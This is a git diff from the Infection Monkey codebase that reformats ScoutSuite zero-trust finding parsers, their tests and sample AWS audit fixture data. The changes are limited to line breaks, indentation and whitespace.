( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class ELBv2RulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.ELB_V2 supported_rules = ELBv2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py index f355dd8e21d..52c7e7ac85a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py @@ -1,11 +1,11 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class IAMRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.IAM supported_rules = IAMRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py index be4b043d720..1486acc7afe 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py @@ -1,11 +1,11 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class RDSRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.RDS supported_rules = RDSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py index dfa954638bf..8d72c994561 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py @@ -2,12 +2,12 @@ RedshiftRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class RedshiftRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.REDSHIFT supported_rules = RedshiftRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py index f06b2554f34..bf2fc109da2 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py @@ -1,11 +1,11 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class S3RulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.S3 supported_rules = S3Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py index 7ded2918f1f..96c23a8ec6d 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py @@ -1,11 +1,11 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class SESRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.SES supported_rules = SESRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py index 6eda4fcefdc..a55a024e043 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py @@ -1,11 +1,11 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class SNSRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.SNS supported_rules = SNSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py index e4979caf5df..fd634221fe3 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py @@ -1,11 +1,11 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class SQSRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.SQS supported_rules = SQSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py index 9daad607ecf..cc30083ebd7 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py @@ -1,11 +1,11 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class VPCRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.VPC supported_rules = VPCRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py index 8ad561ecefd..44183918215 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py @@ -1,46 +1,61 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudformation_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.cloudformation_rule_path_creator import ( CloudformationRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudtrail_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.cloudtrail_rule_path_creator import ( CloudTrailRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudwatch_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.cloudwatch_rule_path_creator import ( CloudWatchRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.config_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.config_rule_path_creator import ( ConfigRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ec2_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.ec2_rule_path_creator import ( EC2RulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elb_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.elb_rule_path_creator import ( ELBRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elbv2_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.elbv2_rule_path_creator import ( ELBv2RulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.iam_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.iam_rule_path_creator import ( IAMRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.rds_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.rds_rule_path_creator import ( RDSRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.redshift_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.redshift_rule_path_creator import ( RedshiftRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.s3_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.s3_rule_path_creator import ( S3RulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ses_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.ses_rule_path_creator import ( SESRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sns_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.sns_rule_path_creator import ( SNSRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sqs_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.sqs_rule_path_creator import ( SQSRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.vpc_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators.vpc_rule_path_creator import ( VPCRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py index 15a0b4b1113..c7e18e2185c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py @@ -16,22 +16,23 @@ class ExampleRules(Enum): ALL_PORTS_OPEN = EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL EXPECTED_RESULT = { - "description": "Security Group Opens All Ports to All", - "path": "ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", - "level": "danger", - "display_path": "ec2.regions.id.vpcs.id.security_groups.id", - "items": [ + "description":"Security Group Opens All Ports to All", + "path":"ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id" + ".cidrs.id.CIDR", + "level":"danger", + "display_path":"ec2.regions.id.vpcs.id.security_groups.id", + "items":[ "ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups." "sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR" ], - "dashboard_name": "Rules", - "checked_items": 179, - "flagged_items": 2, - "service": "EC2", - "rationale": "It was detected that all ports in the security group are open <...>", - "remediation": None, - "compliance": None, - "references": None, + "dashboard_name":"Rules", + "checked_items":179, + "flagged_items":2, + "service":"EC2", + "rationale":"It was detected that all ports in the security group are open <...>", + "remediation":None, + "compliance":None, + "references":None, } diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index 36eae62718c..115f7c1ff2d 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -25,14 +25,14 @@ def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: def is_aws_keys_setup(): return ConfigService.get_config_value( - AWS_KEYS_PATH + ["aws_access_key_id"] + AWS_KEYS_PATH + ["aws_access_key_id"] ) and ConfigService.get_config_value(AWS_KEYS_PATH + ["aws_secret_access_key"]) def set_aws_keys(access_key_id: str, secret_access_key: str, session_token: str): if not access_key_id or not secret_access_key: raise InvalidAWSKeys( - "Missing some of the following fields: access key ID, secret access key." + "Missing some of the following fields: access key ID, secret access key." ) _set_aws_key("aws_access_key_id", access_key_id) _set_aws_key("aws_secret_access_key", secret_access_key) @@ -47,9 +47,9 @@ def _set_aws_key(key_type: str, key_value: str): def get_aws_keys(): return { - "access_key_id": _get_aws_key("aws_access_key_id"), - "secret_access_key": _get_aws_key("aws_secret_access_key"), - "session_token": _get_aws_key("aws_session_token"), + "access_key_id":_get_aws_key("aws_access_key_id"), + "secret_access_key":_get_aws_key("aws_secret_access_key"), + "session_token":_get_aws_key("aws_session_token"), } diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py index 3d0cf8413fa..a710a734c90 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py @@ -17,7 +17,7 @@ class ScoutSuiteZTFindingService: def process_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuiteRule): existing_findings = ScoutSuiteFinding.objects(test=finding.test) assert len(existing_findings) < 2, "More than one finding exists for {}".format( - finding.test + finding.test ) if len(existing_findings) == 0: @@ -37,9 +37,9 @@ def _create_new_finding_from_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuit def get_finding_status_from_rules(rules: List[ScoutSuiteRule]) -> str: if len(rules) == 0: return zero_trust_consts.STATUS_UNEXECUTED - elif filter(lambda x: ScoutSuiteRuleService.is_rule_dangerous(x), rules): + elif filter(lambda x:ScoutSuiteRuleService.is_rule_dangerous(x), rules): return zero_trust_consts.STATUS_FAILED - elif filter(lambda x: ScoutSuiteRuleService.is_rule_warning(x), rules): + elif filter(lambda x:ScoutSuiteRuleService.is_rule_warning(x), rules): return zero_trust_consts.STATUS_VERIFY else: return zero_trust_consts.STATUS_PASSED @@ -55,7 +55,7 @@ def change_finding_status_by_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRu rule_status = ScoutSuiteZTFindingService.get_finding_status_from_rules([rule]) finding_status = finding.status new_finding_status = ScoutSuiteZTFindingService.get_finding_status_from_rule_status( - finding_status, rule_status + finding_status, rule_status ) if finding_status != new_finding_status: finding.status = new_finding_status @@ -63,18 +63,18 @@ def change_finding_status_by_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRu @staticmethod def get_finding_status_from_rule_status(finding_status: str, rule_status: str) -> str: if ( - finding_status == zero_trust_consts.STATUS_FAILED - or rule_status == zero_trust_consts.STATUS_FAILED + finding_status == zero_trust_consts.STATUS_FAILED + or rule_status == zero_trust_consts.STATUS_FAILED ): return zero_trust_consts.STATUS_FAILED elif ( - finding_status == zero_trust_consts.STATUS_VERIFY - or rule_status == zero_trust_consts.STATUS_VERIFY + finding_status == zero_trust_consts.STATUS_VERIFY + or rule_status == zero_trust_consts.STATUS_VERIFY ): return zero_trust_consts.STATUS_VERIFY elif ( - finding_status == zero_trust_consts.STATUS_PASSED - or rule_status == zero_trust_consts.STATUS_PASSED + finding_status == zero_trust_consts.STATUS_PASSED + or rule_status == zero_trust_consts.STATUS_PASSED ): return zero_trust_consts.STATUS_PASSED else: diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index 00eae32e73c..b7bab62b384 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -31,10 +31,10 @@ def test_is_aws_keys_setup(tmp_path): initialize_encryptor(tmp_path) bogus_key_value = get_encryptor().enc("bogus_aws_key") dpath.util.set( - ConfigService.default_config, AWS_KEYS_PATH + ["aws_secret_access_key"], bogus_key_value + ConfigService.default_config, AWS_KEYS_PATH + ["aws_secret_access_key"], bogus_key_value ) dpath.util.set( - ConfigService.default_config, AWS_KEYS_PATH + ["aws_access_key_id"], bogus_key_value + ConfigService.default_config, AWS_KEYS_PATH + ["aws_access_key_id"], bogus_key_value ) assert is_aws_keys_setup() diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py index 04e085eb127..366af1d1d3e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py @@ -10,25 +10,29 @@ from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES example_scoutsuite_data = { - "checked_items": 179, - "compliance": None, - "dashboard_name": "Rules", - "description": "Security Group Opens All Ports to All", - "flagged_items": 2, - "items": [ + "checked_items":179, + "compliance":None, + "dashboard_name":"Rules", + "description":"Security Group Opens All Ports to All", + "flagged_items":2, + "items":[ "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72" ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR", "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65" ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR", ], - "level": "danger", - "path": "ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", - "rationale": "It was detected that all ports in the security group are open, and any source IP address" - " could send traffic to these ports, which creates a wider attack surface for resources " - "assigned to it. Open ports should be reduced to the minimum needed to correctly", - "references": [], - "remediation": None, - "service": "EC2", + "level":"danger", + "path":"ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id" + ".cidrs.id.CIDR", + "rationale":"It was detected that all ports in the security group are open, " + "and any source IP address" + " could send traffic to these ports, which creates a wider attack surface " + "for resources " + "assigned to it. Open ports should be reduced to the minimum needed to " + "correctly", + "references":[], + "remediation":None, + "service":"EC2", } diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py index 36a8761cbec..6bd547208c1 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py @@ -19,7 +19,7 @@ def get_scoutsuite_finding_dto() -> Finding: scoutsuite_details = get_scoutsuite_details_dto() scoutsuite_details.save() return ScoutSuiteFinding( - test=TEST_SCOUTSUITE_SERVICE_SECURITY, status=STATUS_FAILED, details=scoutsuite_details + test=TEST_SCOUTSUITE_SERVICE_SECURITY, status=STATUS_FAILED, details=scoutsuite_details ) @@ -27,5 +27,5 @@ def get_monkey_finding_dto() -> Finding: monkey_details = get_monkey_details_dto() monkey_details.save() return MonkeyFinding( - test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_PASSED, details=monkey_details + test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_PASSED, details=monkey_details ) diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py index 0e5433784d2..581028d33ea 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py @@ -3,25 +3,25 @@ EVENTS = [ { - "timestamp": "2021-01-20T15:40:28.357Z", - "title": "Process list", - "message": "Monkey on pc-24 scanned the process list", - "event_type": "monkey_local", + "timestamp":"2021-01-20T15:40:28.357Z", + "title":"Process list", + "message":"Monkey on pc-24 scanned the process list", + "event_type":"monkey_local", }, { - "timestamp": "2021-01-20T16:08:29.519Z", - "title": "Process list", - "message": "", - "event_type": "monkey_local", + "timestamp":"2021-01-20T16:08:29.519Z", + "title":"Process list", + "message":"", + "event_type":"monkey_local", }, ] EVENTS_DTO = [ Event( - timestamp=event["timestamp"], - title=event["title"], - message=event["message"], - event_type=event["event_type"], + timestamp=event["timestamp"], + title=event["title"], + message=event["message"], + event_type=event["event_type"], ) for event in EVENTS ] diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py index 9782096711e..fc8bf2b9d49 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py @@ -1,143 +1,144 @@ # This is what our codebase receives after running ScoutSuite module. # Object '...': {'...': '...'} represents continuation of similar objects as above RAW_SCOUTSUITE_DATA = { - "sg_map": { - "sg-abc": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, - "sg-abcd": {"region": "ap-northeast-2", "vpc_id": "vpc-abc"}, - "...": {"...": "..."}, + "sg_map":{ + "sg-abc":{"region":"ap-northeast-1", "vpc_id":"vpc-abc"}, + "sg-abcd":{"region":"ap-northeast-2", "vpc_id":"vpc-abc"}, + "...":{"...":"..."}, }, - "subnet_map": { - "subnet-abc": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, - "subnet-abcd": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, - "...": {"...": "..."}, + "subnet_map":{ + "subnet-abc":{"region":"ap-northeast-1", "vpc_id":"vpc-abc"}, + "subnet-abcd":{"region":"ap-northeast-1", "vpc_id":"vpc-abc"}, + "...":{"...":"..."}, }, - "provider_code": "aws", - "provider_name": "Amazon Web Services", - "environment": None, - "result_format": "json", - "partition": "aws", - "account_id": "125686982355", - "last_run": { - "time": "2021-02-05 16:03:04+0200", - "run_parameters": { - "services": [], - "skipped_services": [], - "regions": [], - "excluded_regions": [], + "provider_code":"aws", + "provider_name":"Amazon Web Services", + "environment":None, + "result_format":"json", + "partition":"aws", + "account_id":"125686982355", + "last_run":{ + "time":"2021-02-05 16:03:04+0200", + "run_parameters":{ + "services":[], + "skipped_services":[], + "regions":[], + "excluded_regions":[], }, - "version": "5.10.0", - "ruleset_name": "default", - "ruleset_about": "This ruleset", - "summary": { - "ec2": { - "checked_items": 3747, - "flagged_items": 262, - "max_level": "warning", - "rules_count": 28, - "resources_count": 176, + "version":"5.10.0", + "ruleset_name":"default", + "ruleset_about":"This ruleset", + "summary":{ + "ec2":{ + "checked_items":3747, + "flagged_items":262, + "max_level":"warning", + "rules_count":28, + "resources_count":176, }, - "s3": { - "checked_items": 88, - "flagged_items": 25, - "max_level": "danger", - "rules_count": 18, - "resources_count": 5, + "s3":{ + "checked_items":88, + "flagged_items":25, + "max_level":"danger", + "rules_count":18, + "resources_count":5, }, - "...": {"...": "..."}, + "...":{"...":"..."}, }, }, - "metadata": { - "compute": { - "summaries": { - "external attack surface": { - "cols": 1, - "path": "service_groups.compute.summaries.external_attack_surface", - "callbacks": [["merge", {"attribute": "external_attack_surface"}]], + "metadata":{ + "compute":{ + "summaries":{ + "external attack surface":{ + "cols":1, + "path":"service_groups.compute.summaries.external_attack_surface", + "callbacks":[["merge", {"attribute":"external_attack_surface"}]], } }, - "...": {"...": "..."}, + "...":{"...":"..."}, }, - "...": {"...": "..."}, + "...":{"...":"..."}, }, # This is the important part, which we parse to get resources - "services": { - "ec2": { - "regions": { - "ap-northeast-1": { - "vpcs": { - "vpc-abc": { - "id": "vpc-abc", - "security_groups": { - "sg-abc": { - "name": "default", - "rules": { - "ingress": { - "protocols": { - "ALL": { - "ports": { - "1-65535": { - "cidrs": [{"CIDR": "0.0.0.0/0"}] + "services":{ + "ec2":{ + "regions":{ + "ap-northeast-1":{ + "vpcs":{ + "vpc-abc":{ + "id":"vpc-abc", + "security_groups":{ + "sg-abc":{ + "name":"default", + "rules":{ + "ingress":{ + "protocols":{ + "ALL":{ + "ports":{ + "1-65535":{ + "cidrs":[{"CIDR":"0.0.0.0/0"}] } } } }, - "count": 1, + "count":1, }, - "egress": { - "protocols": { - "ALL": { - "ports": { - "1-65535": { - "cidrs": [{"CIDR": "0.0.0.0/0"}] + "egress":{ + "protocols":{ + "ALL":{ + "ports":{ + "1-65535":{ + "cidrs":[{"CIDR":"0.0.0.0/0"}] } } } }, - "count": 1, + "count":1, }, }, } }, } }, - "...": {"...": "..."}, + "...":{"...":"..."}, } }, # Interesting info, maybe could be used somewhere in the report - "external_attack_surface": { - "52.52.52.52": { - "protocols": {"TCP": {"ports": {"22": {"cidrs": [{"CIDR": "0.0.0.0/0"}]}}}}, - "InstanceName": "InstanceName", - "PublicDnsName": "ec2-52-52-52-52.eu-central-1.compute.amazonaws.com", + "external_attack_surface":{ + "52.52.52.52":{ + "protocols":{"TCP":{"ports":{"22":{"cidrs":[{"CIDR":"0.0.0.0/0"}]}}}}, + "InstanceName":"InstanceName", + "PublicDnsName":"ec2-52-52-52-52.eu-central-1.compute.amazonaws.com", } }, # We parse these into ScoutSuite security rules - "findings": { - "ec2-security-group-opens-all-ports-to-all": { - "description": "Security Group Opens All Ports to All", - "path": "ec2.regions.id.vpcs.id.security_groups" - ".id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", - "level": "danger", - "display_path": "ec2.regions.id.vpcs.id.security_groups.id", - "items": [ + "findings":{ + "ec2-security-group-opens-all-ports-to-all":{ + "description":"Security Group Opens All Ports to All", + "path":"ec2.regions.id.vpcs.id.security_groups" + 